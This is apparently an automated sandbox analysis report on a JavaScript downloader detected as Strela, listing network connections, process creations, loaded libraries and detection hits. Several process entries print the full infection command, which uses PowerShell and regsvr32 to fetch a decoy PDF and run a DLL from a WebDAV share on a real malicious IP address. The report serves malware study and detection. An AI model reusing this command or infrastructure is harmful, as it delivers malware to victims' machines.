HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2131913023.000002685671B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2130429888.0000026858607000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2132215322.000002685860F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2130474266.000002685860E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2191744086.00000146F8478000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191744086.00000146F84D1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191744086.00000146F849D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191744086.00000146F84AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2191744086.00000146F84AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.
Source: svchost.exe, 00000009.00000002.3423569768.000001FD6BE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2190791733.000001FD6BBD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2732, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2640024673100216355.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xvkchxe.ef4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1684,i,17893435023047788121,3099982242300101313,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1684,i,17893435023047788121,3099982242300101313,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
